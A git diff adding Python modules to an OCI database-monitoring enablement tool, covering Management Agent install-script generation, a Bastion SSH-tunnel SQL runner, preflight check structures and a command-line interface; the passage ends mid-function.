b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/agent_scripts.py @@ -0,0 +1,89 @@ +"""Management Agent script generation for external databases and Exadata.""" + +from __future__ import annotations + +from pathlib import Path + +from dbman_opsi.config import EnablementConfig, Target + + +def _linux_script(target: Target, config: EnablementConfig) -> str: + return f"""#!/usr/bin/env bash +set -euo pipefail + +AGENT_RPM="${{AGENT_RPM:?Set AGENT_RPM to the downloaded OCI Management Agent RPM path}}" +INSTALL_KEY="${{INSTALL_KEY:?Set INSTALL_KEY to the OCI Management Agent install key}}" + +cat >/tmp/dbman-opsi-agent.rsp < str: + return f"""$ErrorActionPreference = "Stop" +$AgentZip = $env:AGENT_ZIP +$InstallKey = $env:INSTALL_KEY +if (-not $AgentZip) {{ throw "Set AGENT_ZIP to the downloaded OCI Management Agent zip" }} +if (-not $InstallKey) {{ throw "Set INSTALL_KEY to the OCI Management Agent install key" }} + +Expand-Archive -Path $AgentZip -DestinationPath C:\\oci-mgmt-agent -Force +@" +ManagementAgentInstallKey=$InstallKey +Service.plugin.dbmgmt.download=true +Service.plugin.opsi.download=true +Region={config.region} +CompartmentId={config.compartment_id or ""} +DisplayName={target.name} +"@ | Out-File -Encoding ascii C:\\oci-mgmt-agent\\dbman-opsi-agent.rsp + +& C:\\oci-mgmt-agent\\setup.bat opts=C:\\oci-mgmt-agent\\dbman-opsi-agent.rsp +""" + + +def _generic_unix_script(target: Target, config: EnablementConfig) -> str: + return f"""#!/usr/bin/env sh +set -eu + +echo "Install OCI Management Agent using the platform package for {target.external_os}." +echo "Use install key from OCI Management Agent service; do not write it into repo files." +echo "Required plugins: dbmgmt and opsi" +echo "Region: {config.region}" +echo "Compartment: {config.compartment_id or ''}" +echo "Display name: {target.name}" +""" + + +def render_agent_script(target: Target, config: EnablementConfig) -> str: + if target.external_os == "windows": + return _windows_script(target, config) + if target.external_os == "linux" or target.external_os is None: + return _linux_script(target, config) + return _generic_unix_script(target, config) + + +def generate_agent_scripts(config: EnablementConfig, output_dir: str | Path) -> list[Path]: + destination = Path(output_dir) + destination.mkdir(parents=True, exist_ok=True) + paths: list[Path] = [] + for target in config.targets: + if target.kind not in {"external-db", "external-exadata"}: + continue + suffix = "ps1" if target.external_os == "windows" else "sh" + path = destination / f"{target.name.replace(' ', '-').lower()}-agent.{suffix}" + path.write_text(render_agent_script(target, config), encoding="utf-8") + if suffix == "sh": + path.chmod(0o750) + paths.append(path) + return paths diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/bastion_exec.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/bastion_exec.py new file mode 100644 index 000000000..da0a1fa3e --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/bastion_exec.py @@ -0,0 +1,305 @@ +"""Bastion-based SQL transport for the hybrid DB-side executor. + +Implements the proven Bastion procedure as an injectable ``SqlRunner`` for +``db_exec.DbExecService``: create a managed-SSH **port-forwarding** session to the +DB node :22, tunnel a local port through it, ``scp`` each generated script to the +host and run it as ``oracle`` via ``sqlplus / as sysdba``, then tear the session +down. The session is always deleted in a ``finally`` block. + +The subprocess calls are injected (``exec_fn``/``exec_bg_fn``/``session_id_fn``) +so the command sequence is unit-tested without real SSH; the defaults shell out. + +Note: the generated DB-side scripts use SQL*Plus ``accept`` prompts (so passwords +are never stored). When auto-executing, supply the answers non-interactively via +``answers`` (piped to the script's stdin) — e.g. the PDB/container name and the +monitoring password — in the order the script prompts for them. +""" + +from __future__ import annotations + +import atexit +import json +import os +import re +import shlex +import socket +import subprocess +import tempfile +import time +from collections.abc import Callable +from datetime import datetime +from pathlib import Path +from typing import Any + +from dbman_opsi.config import Target + +# A remote script filename must be a plain name — it is interpolated into remote +# shell command strings (scp target, sqlplus @path, rm -f), so anything with +# whitespace or shell metacharacters is rejected before it can reach a shell. +_SAFE_REMOTE_NAME = re.compile(r"^[A-Za-z0-9._-]+$") + + +def _free_port() -> int: + """Pick a currently-free local TCP port for this run's tunnel.""" + + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: + sock.bind(("127.0.0.1", 0)) + return int(sock.getsockname()[1]) + + +def _default_exec(argv: list[str], input: str | None = None) -> str: # noqa: A002 + result = subprocess.run(argv, input=input, capture_output=True, text=True, check=False) + if result.returncode != 0: + raise RuntimeError(f"command failed ({result.returncode}): {' '.join(argv[:3])}…\n{result.stderr}") + return result.stdout + + +def _default_exec_bg(argv: list[str]) -> subprocess.Popen: + # Return the handle so the caller owns the forward's lifecycle and can + # terminate it when the run ends (the forward runs foreground under Popen; + # ssh is invoked without -f so it does not self-background and detach). + return subprocess.Popen(argv, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) + + +class BastionSqlRunner: + def __init__( + self, + bastion_id: str, + target_private_ip: str, + ssh_key: str, + profile: str, + region: str, + *, + local_port: int | None = None, + bastion_host: str | None = None, + session_ttl: int = 3600, + remote_dir: str = "/tmp", # nosec B108 - remote DB-host SSH path, not a local tempfile + answers: str | None = None, + known_hosts: str | None = None, + exec_fn: Callable[..., str] | None = None, + exec_bg_fn: Callable[[list[str]], Any] | None = None, + session_id_fn: Callable[[], str] | None = None, + sleeper: Callable[[float], None] = time.sleep, + now: Callable[[], float] = time.time, + stale_session_age: int | None = None, + tunnel_wait: float = 6.0, + atexit_register: Callable[[Callable[[], None]], Any] = atexit.register, + atexit_unregister: Callable[[Callable[[], None]], Any] = atexit.unregister, + ) -> None: + self.bastion_id = bastion_id + self.target_private_ip = target_private_ip + self.ssh_key = ssh_key + self.profile = profile + self.region = region + self.local_port = local_port + self.bastion_host = bastion_host or f"host.bastion.{region}.oci.oraclecloud.com" + self.session_ttl = session_ttl + self.remote_dir = remote_dir + self.answers = answers + self.known_hosts = known_hosts + self._exec = exec_fn or _default_exec + self._exec_bg = exec_bg_fn or _default_exec_bg + self._session_id_fn = session_id_fn or self._resolve_session_id + self._sleep = sleeper + self._now = now + self.stale_session_age = session_ttl if stale_session_age is None else stale_session_age + self.tunnel_wait = tunnel_wait + self._atexit_register = atexit_register + self._atexit_unregister = atexit_unregister + + # SqlRunner protocol: (target, scripts) -> combined output. + def __call__(self, target: Target, scripts: list[Path]) -> str: + display_name = f"dbman-exec-{target.name}".replace(" ", "-").lower()[:60] + self._reap_stale_sessions() + self._exec([ + "oci", "--profile", self.profile, "--region", self.region, + "bastion", "session", "create-port-forwarding", + "--bastion-id", self.bastion_id, + "--display-name", display_name, + "--ssh-public-key-file", f"{self.ssh_key}.pub", + "--target-private-ip", self.target_private_ip, + "--target-port", "22", + "--session-ttl", str(self.session_ttl), + "--wait-for-state", "SUCCEEDED", + "--max-wait-seconds", "600", "--wait-interval-seconds", "15", + ]) + session_id = self._session_id_fn() + # A fresh ephemeral local port per run (unless one is pinned explicitly): + # a leaked forward from a prior run can never be silently reused, so the + # password is never piped to a stale host on a fixed port. + port = self.local_port if self.local_port is not None else _free_port() + known_hosts, kh_owned = self._known_hosts_path() + ssh_opts = self._ssh_opts(known_hosts) + + # Idempotent teardown: registered with atexit so an interpreter exit (or an + # unhandled signal that surfaces as an exception) still deletes the session, + # not just the normal finally below. SIGKILL can't be caught — the session + # TTL is the backstop for that. The guard makes the atexit + finally calls + # collapse to a single delete, and the handler unregisters itself so it does + # not pin this runner alive or re-fire across multiple targets. + torn = {"done": False} + + def _safe_teardown() -> None: + if torn["done"]: + return + torn["done"] = True + self._teardown(session_id) + self._atexit_unregister(_safe_teardown) + + self._atexit_register(_safe_teardown) + + forward: Any = None + remote_paths: list[str] = [] + outputs: list[str] = [] + try: + forward = self._exec_bg([ + "ssh", "-i", self.ssh_key, "-NL", + f"{port}:{self.target_private_ip}:22", "-p", "22", + f"{session_id}@{self.bastion_host}", + "-o", "ExitOnForwardFailure=yes", *ssh_opts, + ]) + self._sleep(self.tunnel_wait) + for script in scripts: + if not _SAFE_REMOTE_NAME.match(script.name): + raise ValueError(f"unsafe script name for remote execution: {script.name!r}") + remote = f"{self.remote_dir}/{script.name}" + remote_paths.append(remote) + self._exec([ + "scp", "-i", self.ssh_key, "-P", str(port), *ssh_opts, + str(script), f"opc@127.0.0.1:{remote}", + ]) + outputs.append(self._exec([ + "ssh", "-i", self.ssh_key, "-p", str(port), *ssh_opts, + "opc@127.0.0.1", + f"sudo su - oracle -c 'sqlplus -s / as sysdba @{shlex.quote(remote)}'", + ], input=self.answers)) + finally: + # Remove the uploaded scripts while the tunnel is still up (before + # teardown), then kill the forward and delete the session. + self._cleanup_remote(ssh_opts, remote_paths, port) + self._terminate_forward(forward) + _safe_teardown() + if kh_owned: + try: + Path(known_hosts).unlink() + except OSError: + pass + return "\n".join(outputs) + + @staticmethod + def _terminate_forward(forward: Any) -> None: + """Kill the local ssh forward so it does not orphan and hold the port.""" + + if forward is None or not hasattr(forward, "terminate"): + return + try: + forward.terminate() + except Exception: # noqa: BLE001 - best-effort; the forward may already be gone + pass + + def _cleanup_remote(self, ssh_opts: list[str], remote_paths: list[str], port: int) -> None: + """Best-effort removal of uploaded scripts from the DB host's /tmp.""" + + if not remote_paths: + return + quoted = " ".join(shlex.quote(path) for path in remote_paths) + try: + self._exec([ + "ssh", "-i", self.ssh_key, "-p", str(port), *ssh_opts, + "opc@127.0.0.1", f"rm -f {quoted}", + ]) + except Exception: # noqa: BLE001 - tunnel may be down; nothing else to do + pass + + def _ssh_opts(self, known_hosts: str) -> list[str]: + """TOFU host-key options shared by the tunnel, scp and ssh hops. + + ``accept-new`` records the host key on first contact into ``known_hosts`` + and *verifies* it for every subsequent hop in the same run — closing the + loopback-tunnel MITM gap that ``StrictHostKeyChecking=no`` left open. The + file is per-run because the loopback tunnel (127.0.0.1:local_port) maps to + a different DB host each run; a persistent file would reject the new key as + a host-key change. + """ + + return [ + "-o", "StrictHostKeyChecking=accept-new", + "-o", f"UserKnownHostsFile={known_hosts}", + "-o", "ConnectTimeout=20", + ] + + def _known_hosts_path(self) -> tuple[str, bool]: + """Return ``(path, owned)``; create a 0600 per-run file when unset.""" + + if self.known_hosts: + return self.known_hosts, False + fd, path = tempfile.mkstemp(prefix="dbman-knownhosts-") + os.close(fd) + os.chmod(path, 0o600) + return path, True + + def _teardown(self, session_id: str) -> None: + try: + self._exec([ + "oci", "--profile", self.profile, "--region", self.region, + "bastion", "session", "delete", "--session-id", session_id, "--force", + ]) + except Exception: # noqa: BLE001 - teardown is best-effort + pass + + def _reap_stale_sessions(self) -> None: + try: + sessions = self._list_bastion_sessions() + except Exception: # noqa: BLE001 - stale-session sweep is best-effort + return + for session in sessions: + if self._is_stale_dbman_session(session): + self._teardown(str(session.get("id") or "")) + + def _list_bastion_sessions(self) -> list[dict[str, Any]]: + raw = self._exec([ + "oci", "--profile", self.profile, "--region", self.region, + "bastion", "session", "list", "--bastion-id", self.bastion_id, "--all", + "--output", "json", + ]) + payload = json.loads(raw or "{}") + data = payload.get("data", []) if isinstance(payload, dict) else [] + return list(data) if isinstance(data, list) else [] + + def _is_stale_dbman_session(self, session: dict[str, Any]) -> bool: + name = str(session.get("display-name") or "") + state = str(session.get("lifecycle-state") or "") + session_id = str(session.get("id") or "") + created = self._session_created_epoch(session) + if not name.startswith("dbman-exec-") or state not in {"ACTIVE", "CREATING"}: + return False + return bool( + session_id + and created is not None + and self._now() - created > self.stale_session_age + ) + + @staticmethod + def _session_created_epoch(session: dict[str, Any]) -> float | None: + value = session.get("time-created") + if isinstance(value, (int, float)): + return float(value) + if not isinstance(value, str) or not value: + return None + try: + return datetime.fromisoformat(value.replace("Z", "+00:00")).timestamp() + except ValueError: + return None + + def _resolve_session_id(self) -> str: + # Default resolver: list active sessions and return the most recent id. + raw = self._exec([ + "oci", "--profile", self.profile, "--region", self.region, + "bastion", "session", "list", "--bastion-id", self.bastion_id, "--all", + "--query", "data[?\"lifecycle-state\"=='ACTIVE']|[0].id", + "--raw-output", "--output", "json", + ]) + value = raw.strip() + if value.startswith('"'): + value = json.loads(value) + return value diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/checks.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/checks.py new file mode 100644 index 000000000..9f1683289 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/checks.py @@ -0,0 +1,106 @@ +"""Structured results for preflight and configure decisioning.""" + +from __future__ import annotations + +from dataclasses import dataclass, field +from typing import Any, Literal + +CheckStatus = Literal["pass", "fail", "warn", "manual", "skip"] + +# Statuses that do not block an --apply enablement run. +_NON_BLOCKING: frozenset[CheckStatus] = frozenset({"pass", "warn", "manual", "skip"}) + + +@dataclass(frozen=True) +class CheckResult: + """One read-only prerequisite check.""" + + name: str + status: CheckStatus + detail: str + remediation: str | None = None + + @property + def blocking(self) -> bool: + return self.status not in _NON_BLOCKING + + def to_dict(self) -> dict[str, Any]: + return { + "name": self.name, + "status": self.status, + "detail": self.detail, + "remediation": self.remediation, + } + + +def ok(name: str, detail: str) -> CheckResult: + return CheckResult(name, "pass", detail) + + +def fail(name: str, detail: str, remediation: str) -> CheckResult: + return CheckResult(name, "fail", detail, remediation) + + +def warn(name: str, detail: str, remediation: str | None = None) -> CheckResult: + return CheckResult(name, "warn", detail, remediation) + + +def manual(name: str, detail: str, remediation: str | None = None) -> CheckResult: + return CheckResult(name, "manual", detail, remediation) + + +def skip(name: str, detail: str) -> CheckResult: + return CheckResult(name, "skip", detail) + + +@dataclass(frozen=True) +class TargetReport: + """Preflight results for one configured target.""" + + name: str + kind: str + location: Literal["oci-native", "management-agent"] + checks: tuple[CheckResult, ...] = () + + @property + def blocking_failures(self) -> tuple[CheckResult, ...]: + return tuple(check for check in self.checks if check.blocking) + + @property + def ok(self) -> bool: + return not self.blocking_failures + + def to_dict(self) -> dict[str, Any]: + return { + "name": self.name, + "kind": self.kind, + "location": self.location, + "ok": self.ok, + "checks": [check.to_dict() for check in self.checks], + } + + +@dataclass(frozen=True) +class PreflightReport: + """Tenancy-wide and per-target prerequisite results.""" + + tenancy_checks: tuple[CheckResult, ...] = () + network_checks: tuple[CheckResult, ...] = () + targets: tuple[TargetReport, ...] = field(default_factory=tuple) + + @property + def shared_checks(self) -> tuple[CheckResult, ...]: + return self.tenancy_checks + self.network_checks + + @property + def ok(self) -> bool: + shared_ok = not any(check.blocking for check in self.shared_checks) + return shared_ok and all(target.ok for target in self.targets) + + def to_dict(self) -> dict[str, Any]: + return { + "ok": self.ok, + "tenancy_checks": [check.to_dict() for check in self.tenancy_checks], + "network_checks": [check.to_dict() for check in self.network_checks], + "targets": [target.to_dict() for target in self.targets], + } diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/cli.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/cli.py new file mode 100644 index 000000000..d7f697197 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/cli.py @@ -0,0 +1,720 @@ +"""Command line interface for dbman-opsi.""" + +from __future__ import annotations + +import argparse +import getpass +import json +import logging +import os +import sys +import uuid +from dataclasses import dataclass, replace +from pathlib import Path + +from dbman_opsi.agent_scripts import generate_agent_scripts +from dbman_opsi.bastion_exec import BastionSqlRunner +from dbman_opsi.config import ConfigError, EnablementConfig, load_config, save_config, validate_config +from dbman_opsi.credentials import CredentialService +from dbman_opsi.cross_region import cross_region_plan, format_cross_region_plan, parse_regions +from dbman_opsi.datasafe import DataSafeDecision, DataSafeService +from dbman_opsi.db_check import parse_validation_output +from dbman_opsi.db_exec import DbExecService +from dbman_opsi.db_scripts import generate_db_scripts +from dbman_opsi.discovery import DiscoveryService +from dbman_opsi.doctor import check_environment, check_session, summarize_checks +from dbman_opsi.enablement import EnablementService +from dbman_opsi.envfile import load_env_file +from dbman_opsi.journal import RunJournal, summarize +from dbman_opsi.oci_cli import OciCli +from dbman_opsi.opsi_payloads import generate_opsi_payloads +from dbman_opsi.orchestrator import ConfigureReport, ConfigureService +from dbman_opsi.preflight import PreflightService +from dbman_opsi.prerequisites import PrerequisiteService +from dbman_opsi.regional_provisioning import ( + CHICAGO_REGION, + RegionalProvisioningRequest, + build_regional_provisioning_config, + default_regional_output, + prepare_regional_terraform_dir, +) +from dbman_opsi.redact import redact_data +from dbman_opsi.reporting import print_configure_report, print_inventory, print_preflight_report +from dbman_opsi.runner import CommandRunner +from dbman_opsi.terraform import run_terraform, write_tfvars +from dbman_opsi.tf_outputs import merge_outputs_into_config, read_terraform_outputs, validate_merged_config +from dbman_opsi.validation import ValidationService +from dbman_opsi.wizard import run_wizard + +log = logging.getLogger(__name__) + + +@dataclass(frozen=True) +class _CliContext: + run_id: str + verbose: bool + + +def _add_config_args(parser: argparse.ArgumentParser) -> None: + parser.add_argument("--config", default="dbman-opsi.yaml", help="Path to YAML/JSON config") + parser.add_argument("--dry-run", action="store_true", help="Print commands instead of executing") + parser.add_argument("--apply", action="store_true", help="Execute changes even when config dry_run is true") + + +def build_parser() -> argparse.ArgumentParser: + parser = argparse.ArgumentParser(prog="dbman-opsi") + parser.add_argument("--verbose", action="store_true", help="Show per-command timing") + verbose_parent = argparse.ArgumentParser(add_help=False) + verbose_parent.add_argument("--verbose", action="store_true", default=argparse.SUPPRESS) + subcommands = parser.add_subparsers(dest="command", required=True) + + def add_parser(name: str, **kwargs) -> argparse.ArgumentParser: + return subcommands.add_parser(name, parents=[verbose_parent], **kwargs) + + plan = add_parser("plan", help="Run interactive discovery/planning wizard") + plan.add_argument("--profile", required=True) + plan.add_argument("--region", required=True) + plan.add_argument("--output", default="dbman-opsi.yaml") + + discover = add_parser( + "discover", + help="Read-only inventory of reusable resources (subnets, vaults, databases, endpoints, agents, bastions)", + ) + discover.add_argument("--profile", required=True) + discover.add_argument("--region", required=True) + discover.add_argument("--compartment", help="Root compartment OCID (defaults to tenancy)") + discover.add_argument("--tenancy", help="Tenancy OCID (defaults to compartment)") + discover.add_argument("--subtree", action="store_true", help="Scan the compartment subtree") + discover.add_argument("--json", action="store_true", help="Emit the inventory as JSON") + + provision = add_parser("provision", help="Render tfvars and run Terraform") + _add_config_args(provision) + provision.add_argument("--render-only", action="store_true", help="Only write terraform.tfvars.json") + + init_region = add_parser( + "init-region", + help="Create a region-specific provisioning config for a second-region PoC (defaults to Chicago)", + ) + init_region.add_argument("--config", default="dbman-opsi.yaml") + init_region.add_argument("--region", default=CHICAGO_REGION) + init_region.add_argument("--output", help="Output config path (default: dbman-opsi..local.yaml)") + init_region.add_argument("--terraform-dir", help="Terraform work directory for this region") + init_region.add_argument("--target-name", help="Provisioned database target name") + init_region.add_argument("--target-kind", choices=("dbcs", "autonomous"), default="dbcs") + init_region.add_argument("--vcn-id", help="Existing VCN OCID in the selected region") + init_region.add_argument("--subnet-id", help="Existing private subnet OCID in the selected region") + + import_outputs = add_parser( + "import-tf-outputs", + help="Read terraform outputs and merge created OCIDs (subnet, PE, provisioned DBs) back into the config", + ) + import_outputs.add_argument("--config", default="dbman-opsi.yaml") + import_outputs.add_argument("--terraform-dir", help="Override config.terraform_dir") + import_outputs.add_argument("--dry-run", action="store_true", help="Print changes without writing the config") + + enable = add_parser("enable", help="Enable Database Management and Ops Insights") + _add_config_args(enable) + enable.add_argument( + "--skip-credentials", + action="store_true", + help="Do not set DBM advanced-diagnostics preferred credentials after enabling", + ) + enable.add_argument( + "--force-reconcile", + action="store_true", + help="Always reconcile the DBM connection, even when monitoring is already healthy", + ) + + prereqs = add_parser("prepare-prereqs", help="Create OCI-side prerequisites such as private endpoints and optional Vault secrets") + _add_config_args(prereqs) + prereqs.add_argument("--password-env", help="Environment variable containing the monitoring password for Vault secret creation") + + validate = add_parser("validate", help="Validate registrations and collection readiness") + _add_config_args(validate) + + cross_region = add_parser( + "cross-region", + help="Configure and summarize the OPSI multi-region Explorer/dashboard POC selection", + ) + cross_region.add_argument("--config", default="dbman-opsi.yaml") + cross_region.add_argument( + "--regions", + help="Comma-separated OCI regions to select in Ops Insights Explorer and supported dashboards", + ) + + preflight = add_parser("preflight", help="Read-only check of all enablement prerequisites") + preflight.add_argument("--config", default="dbman-opsi.yaml") + preflight.add_argument("--json", action="store_true", help="Emit the report as JSON") + preflight.add_argument( + "--db-check-file", + help="Spooled output of 04-validate-monitoring-user.sql to verify the DB monitoring user", + ) + + configure = add_parser( + "configure", + help="Orchestrated flow: detect, branch by location, gate on prerequisites, then enable or hand off", + ) + configure.add_argument("--config", default="dbman-opsi.yaml") + configure.add_argument("--apply", action="store_true", help="Enable services when all prerequisites pass") + configure.add_argument("--db-side-only", action="store_true", help="Generate DB-side handoff packets and stop") + configure.add_argument("--force", action="store_true", help="Ignore blocking prerequisite failures") + configure.add_argument( + "--skip-credentials", + action="store_true", + help="Do not set DBM advanced-diagnostics preferred credentials after configuring", + ) + configure.add_argument("--output", default="generated/handoff", help="Handoff packet output directory") + configure.add_argument("--json", action="store_true", help="Emit the report as JSON") + configure.add_argument( + "--with-data-safe", + action="store_true", + help="Also register Data Safe targets (datasafe pillar) during --apply", + ) + configure.add_argument("--data-safe-user", help="Data Safe service account (default: target monitoring_user or DBSNMP)") + configure.add_argument("--data-safe-password-env", help="Env var holding the Data Safe account password (non-interactive)") + + agent = add_parser("generate-agent-scripts", help="Generate Management Agent install scripts") + agent.add_argument("--config", default="dbman-opsi.yaml") + agent.add_argument("--output", default="generated/agents") + + db_scripts = add_parser("generate-db-scripts", help="Generate database-side SQL scripts") + db_scripts.add_argument("--config", default="dbman-opsi.yaml") + db_scripts.add_argument("--output", default="generated/db-scripts") + + opsi_payloads = add_parser("generate-opsi-payloads", help="Generate Operations Insights JSON payload files") + opsi_payloads.add_argument("--config", default="dbman-opsi.yaml") + opsi_payloads.add_argument("--output", default="generated/opsi-payloads") + + set_creds = add_parser( + "set-credentials", + help="Set DBM advanced-diagnostics preferred credentials via a Vault named credential", + ) + set_creds.add_argument("--config", default="dbman-opsi.yaml") + + doctor = add_parser("doctor", help="Check local or Cloud Shell prerequisites") + doctor.add_argument("--profile", help="Also verify the OCI session is authenticated for this profile") + doctor.add_argument("--region", help="Region to use for the session check") + + journal = add_parser("journal", help="Inspect a run journal") + journal.add_argument("run_id", nargs="?", help="Run ID from runs/.jsonl") + journal.add_argument("--last", action="store_true", help="Inspect the newest runs/*.jsonl file") + journal.add_argument("--json", action="store_true", help="Emit the journal summary as JSON") + + db_exec = add_parser( + "db-exec", + help="Generate DB-side scripts and show the hybrid run plan (auto-run in non-prod, handoff in prod)", + ) + db_exec.add_argument("--config", default="dbman-opsi.yaml") + db_exec.add_argument("--scripts-dir", default="generated/db-scripts") + db_exec.add_argument("--force", action="store_true", help="Treat as non-production (auto-exec even for prod)") + db_exec.add_argument("--apply", action="store_true", help="Auto-run DB-side scripts via Bastion (non-prod). Requires --bastion-id/--target-ip/--ssh-key") + db_exec.add_argument("--bastion-id", help="Bastion OCID for --apply auto-exec") + db_exec.add_argument("--target-ip", help="DB node private IP for --apply auto-exec") + db_exec.add_argument("--ssh-key", help="SSH private key path (with matching .pub) for the Bastion session + DB node") + db_exec.add_argument("--answers-file", help="File whose contents are piped to each script's SQL*Plus accept prompts") + + data_safe = add_parser( + "data-safe", + help="Register databases as Data Safe targets (security pillar) for targets that opt into 'datasafe'", + ) + data_safe.add_argument("--config", default="dbman-opsi.yaml") + data_safe.add_argument("--apply", action="store_true", help="Perform live registration (otherwise dry-run)") + data_safe.add_argument("--user", help="Data Safe service account (default: target monitoring_user or DBSNMP)") + data_safe.add_argument("--password-env", help="Env var holding the Data Safe account password (non-interactive)") + + return parser + + +def _configure_logging() -> None: + logging.basicConfig(level=logging.INFO, format="%(message)s", stream=sys.stdout, force=True) + + +def _make_journal(run_id: str, profile: str, region: str) -> RunJournal: + return RunJournal(run_id=run_id, profile=profile, region=region) + + +def _make_runner( + *, + dry_run: bool, + run_id: str, + profile: str, + region: str, + verbose: bool, +) -> CommandRunner: + return CommandRunner( + dry_run=dry_run, + journal=_make_journal(run_id, profile, region), + run_id=run_id, + verbose=verbose, + ) + + +def _make_data_safe_provider(apply: bool, user_override: str | None, password_env: str | None): + """Build a (user, password) provider for Data Safe registration. + + Only prompts when applying live; in dry-run the password is unused. A + password env var supports non-interactive runs (CI/Cloud Shell). + """ + + def provider(target) -> tuple[str, str]: + user = user_override or target.monitoring_user or "DBSNMP" + if not apply: + return (user, "") + if password_env: + return (user, os.environ.get(password_env, "")) + return (user, getpass.getpass(f"Data Safe password for {user}@{target.name}: ")) + + return provider + + +def _persist_data_safe_targets( + config: EnablementConfig, decisions: list[DataSafeDecision] +) -> EnablementConfig: + """Write any newly-registered Data Safe target OCIDs back into the config.""" + + ids = {d.target: d.target_id for d in decisions if d.target_id} + if not ids: + return config + new_targets = tuple( + replace(t, data_safe_target_id=ids[t.name]) if t.name in ids and not t.data_safe_target_id else t + for t in config.targets + ) + return replace(config, targets=new_targets) + + +def _config_runner(config: EnablementConfig, ctx: _CliContext, dry_run: bool) -> CommandRunner: + return _make_runner( + dry_run=dry_run, + run_id=ctx.run_id, + profile=config.profile, + region=config.region, + verbose=ctx.verbose, + ) + + +def _args_runner(args: argparse.Namespace, ctx: _CliContext, dry_run: bool) -> CommandRunner: + return _make_runner( + dry_run=dry_run, + run_id=ctx.run_id, + profile=args.profile, + region=args.region, + verbose=ctx.verbose, + ) + + +def _config_oci(config: EnablementConfig, ctx: _CliContext, dry_run: bool) -> OciCli: + return OciCli(config.profile, config.region, _config_runner(config, ctx, dry_run)) + + +def _cmd_plan(args: argparse.Namespace, ctx: _CliContext) -> int: + discovery = OciCli(args.profile, args.region, _args_runner(args, ctx, dry_run=False)) + config = run_wizard(args.profile, args.region, discovery) + save_config(args.output, config) + print(f"Wrote sanitized config to {args.output}") + return 0 + + +def _cmd_doctor(args: argparse.Namespace, ctx: _CliContext) -> int: + checks = check_environment() + if args.profile: + checks = checks + (check_session(args.profile, args.region),) + for check in checks: + status = "ok" if check.ok else "missing" + print(f"{check.name}: {status} ({check.detail})") + print(summarize_checks(checks)) + return 0 if all(check.ok for check in checks) else 1 + + +def _latest_journal_run_id(root: Path) -> str: + matches = list(root.glob("*.jsonl")) + if not matches: + raise SystemExit("no run journals found in runs/") + # Secondary key (name) makes the pick deterministic when two journals share an + # mtime (coarse-resolution filesystems); otherwise max() returns an arbitrary + # one in glob order. + return max(matches, key=lambda path: (path.stat().st_mtime, path.name)).stem + + +def _print_journal_summary(summary: dict[str, object]) -> None: + print(f"Commands: {summary['command_count']}") + print(f"Total duration: {summary['total_duration_ms']} ms") + failures = summary["failures"] + if not failures: + print("Failing commands: none") + return + print("Failing commands:") + for entry in failures: + if not isinstance(entry, dict): + continue + command = " ".join(str(part) for part in entry.get("argv_redacted") or []) + returncode = entry.get("returncode") + duration = entry.get("duration_ms") + print(f"- rc={returncode} duration_ms={duration} {command}".rstrip()) + + +def _cmd_journal(args: argparse.Namespace, ctx: _CliContext) -> int: + root = Path("runs") + run_id = _latest_journal_run_id(root) if args.last else args.run_id + if not run_id: + raise SystemExit("journal requires RUN_ID or --last") + try: + summary = redact_data(summarize(RunJournal.read(run_id, root=root))) + except FileNotFoundError as exc: + raise SystemExit(f"journal file not found: {root / f'{run_id}.jsonl'}") from exc + except ValueError as exc: + raise SystemExit(f"invalid run id: {exc}") from exc + if args.json: + print(json.dumps(summary, indent=2, sort_keys=True)) + else: + _print_journal_summary(summary) + return 0 + + +def _cmd_provision(args: argparse.Namespace, ctx: _CliContext) -> int: + config = load_config(args.config) + tfvars = write_tfvars(config) + print(f"Wrote {tfvars}") + if not args.render_only: + dry_run = not args.apply and (args.dry_run or config.dry_run) + run_terraform(config, _config_runner(config, ctx, dry_run)) + return 0 + + +def _cmd_init_region(args: argparse.Namespace, ctx: _CliContext) -> int: + base = load_config(args.config) + try: + config = build_regional_provisioning_config( + base, + RegionalProvisioningRequest( + region=args.region, + target_kind=args.target_kind, + target_name=args.target_name, + terraform_dir=args.terraform_dir, + vcn_id=args.vcn_id, + subnet_id=args.subnet_id, + ), + ) + except ValueError as exc: + raise SystemExit(str(exc)) from exc + problems = validate_config(config) + if problems: + raise ConfigError(problems) + output = args.output or default_regional_output(args.region) + save_config(output, config) + copied = prepare_regional_terraform_dir(base.terraform_dir, config.terraform_dir) + print(f"Wrote regional provisioning config to {output}") + if copied: + print(f"Prepared Terraform workdir {config.terraform_dir}") + print(f"Next: dbman-opsi provision --config {output} --render-only") + return 0 + + +def _cmd_enable(args: argparse.Namespace, ctx: _CliContext) -> int: + config = load_config(args.config) + dry_run = not args.apply and (args.dry_run or config.dry_run) + EnablementService(_config_oci(config, ctx, dry_run)).enable_all( + config, force_reconcile=args.force_reconcile + ) + if args.apply and not args.skip_credentials: + # Complete the workflow: set the DBM advanced-diagnostics preferred + # credentials. Best-effort: blocked targets print remediation. + for decision in CredentialService(_config_oci(config, ctx, dry_run=False)).set_all(config): + print(f"- credentials {decision.target}: {decision.status} ({decision.detail})") + return 0 + + +def _cmd_prepare_prereqs(args: argparse.Namespace, ctx: _CliContext) -> int: + config = load_config(args.config) + dry_run = not args.apply and (args.dry_run or config.dry_run) + PrerequisiteService(_config_oci(config, ctx, dry_run)).prepare(config, args.password_env) + return 0 + + +def _cmd_validate(args: argparse.Namespace, ctx: _CliContext) -> int: + config = load_config(args.config) + + def oci_for_region(region: str) -> OciCli: + return OciCli( + config.profile, + region, + _make_runner( + dry_run=False, + run_id=ctx.run_id, + profile=config.profile, + region=region, + verbose=ctx.verbose, + ), + ) + + # Regression R2, formerly under `if args.command == "validate":`: + # validate is read-only and must remain equivalent to CommandRunner(dry_run=False). + findings = ValidationService( + _config_oci(config, ctx, dry_run=False), + oci_for_region=oci_for_region, + ).validate(config) + for finding in findings: + print(f"- {finding}") + return 0 + + +def _cmd_cross_region(args: 